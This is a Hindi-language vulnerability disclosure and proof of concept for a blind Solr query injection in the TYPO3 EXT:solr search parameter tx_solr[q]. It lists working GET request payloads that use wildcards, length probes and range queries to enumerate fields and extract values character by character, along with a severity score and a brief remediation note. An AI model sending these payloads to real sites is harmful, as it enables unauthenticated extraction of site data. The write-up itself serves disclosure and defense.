
CVE-2026-56096 के लिए प्रूफ ऑफ कॉन्सेप्ट और तकनीकी राइट-अप, जो TYPO3 EXT:solr में एक ब्लाइंड Solr क्वेरी इंजेक्शन है जो अनऑथेंटिकेटेड फील्ड एन्यूमरेशन और डेटा एक्सट्रैक्शन को सक्षम बनाता है।
आधिकारिक TYPO3 Apache Solr एक्सटेंशन (EXT:solr / apache-solr-for-typo3/solr) में एक आर्किटेक्चरल सुरक्षा भेद्यता की खोज की गई थी। यह समस्या अनधिकृत रिमोट हमलावरों को सर्च पैरामीटर tx_solr[q] के माध्यम से मनमाना Solr/Lucene क्वेरी सिंटैक्स इंजेक्ट करने की अनुमति देती है, जिससे सर्च इंडेक्स से अनधिकृत ब्लाइंड फ़ील्ड एन्यूमरेशन और पूर्ण मेटाडेटा एक्सट्रैक्शन संभव हो जाता है।
EXT:solr (सर्च पैरामीटर: tx_solr[q])CVSS:4.0/AV:N/AC:H/AT:P/PR:N/UI:N/VC:L/VI:N/VA:N/SC:N/SI:N/SA:NEXT:solr एक्सटेंशन tx_solr[q] पैरामीटर के माध्यम से उपयोगकर्ता-प्रदत्त सर्च शब्दों को स्वीकार करता है और उन्हें Apache Solr इंजन को अग्रेषित करता है। डिज़ाइन के अनुसार, एक्सटेंशन विशिष्ट क्वेरी ऑपरेटरों—जैसे वाइल्डकार्ड (*), एकल-वर्ण वाइल्डकार्ड (?), फ़ील्ड सेलेक्टर (:), और रेंज क्वेरी ([a TO z])—को अनुमति देता है ताकि फेसेटेड फ़िल्टरिंग जैसी वैध कार्यक्षमता का समर्थन किया जा सके।
चूंकि इन वर्णों को बैकएंड क्वेरी निर्माण में सीधे पास किया गया था, बिना किसी प्रवर्तनीय व्हाइटलिस्ट या क्वेरी एब्स्ट्रैक्शन लेयर के, एक हमलावर इच्छित सर्च सीमाओं से बचने के लिए फ़ील्ड-विशिष्ट सिंटैक्स प्रदान कर सकता है। यह अनधिकृत उपयोगकर्ताओं को सीधे आंतरिक Solr फ़ील्ड्स को क्वेरी करने और बूलियन-आधारित ब्लाइंड तकनीकों का उपयोग करके इंडेक्स डेटा निकालने की अनुमति देता है।
field:* के माध्यम से फ़ील्ड एन्यूमरेशनकिसी मनमाने या अनुमानित फ़ील्ड नाम में वाइल्डकार्ड जोड़कर, एक हमलावर यह सत्यापित कर सकता है कि फ़ील्ड स्कीमा में मौजूद है या नहीं:
GET /search?tx_solr[q]=siteHash:* HTTP/1.1
Host: target.example.com
यदि फ़ील्ड मौजूद है, तो Solr सभी मेल खाते रिकॉर्ड्स पर क्वेरी को प्रोसेस करता है (अक्सर अलग रिस्पॉन्स कोड या वॉल्यूम-संबंधित व्यवहार को ट्रिगर करता है), जिससे स्वचालित वर्डलिस्ट-आधारित फ़ील्ड एन्यूमरेशन संभव हो जाता है।
हमलावर बूलियन अनुमान का उपयोग करके संवेदनशील फ़ील्ड मानों को वर्ण-दर-वर्ण निकाल सकते हैं:
GET /search?tx_solr[q]=siteHash:a* HTTP/1.1 --> Returns search hits (Value begins with 'a')
GET /search?tx_solr[q]=siteHash:b* HTTP/1.1 --> "Nothing found" (Value does not begin with 'b')
? ऑपरेटर के माध्यम से लंबाई का पता लगानाएकल-वर्ण वाइल्डकार्ड ऑपरेटर (?) वर्ण पुनरावृत्ति शुरू करने से पहले संग्रहीत स्ट्रिंग की सटीक लंबाई निर्धारित कर सकता है:
GET /search?tx_solr[q]=siteHash:????????????* HTTP/1.1 (Checks for 12+ characters)
GET /search?tx_solr[q]=siteHash:?????????????* HTTP/1.1 (Checks for 13+ characters)
[a TO z])रेंज क्वेरी प्रारंभिक वर्ण पर बाइनरी-सर्च एक्सट्रैक्शन की अनुमति देती हैं, जिससे प्रति वर्ण स्थिति में आवश्यक अनुरोधों की संख्या 26 से घटकर ~5 हो जाती है:
GET /search?tx_solr[q]=siteHash:[a TO m] HTTP/1.1 --> Determines if character falls within 'a'-'m'
GET /search?tx_solr[q]=siteHash:[n TO z] HTTP/1.1 --> Determines if character falls within 'n'-'z'
लंबाई का पता लगाना, रेंज क्वेरी, और प्रीफ़िक्स वाइल्डकार्ड को संयोजित करने से न्यूनतम अनुरोध फुटप्रिंट के साथ पूर्ण फ़ील्ड एक्सट्रैक्शन संभव हो जाता है।
EXT:solr सर्च एंडपॉइंट का उपयोग करने वाली सभी डिफ़ॉल्ट इंस्टॉलेशन प्रभावित थीं।वैश्विक वर्ण एस्केपिंग अपर्याप्त है क्योंकि * और : जैसे ऑपरेटर इच्छित सर्च सुविधाओं के लिए काम करते हैं। उपचार के लिए एप्लिकेशन-लेयर व्हाइटलिस्ट और पार्सिंग मॉडल की आवश्यकता होती है:
[email protected]) को औपचारिक भेद्यता रिपोर्ट प्रस्तुत की गई।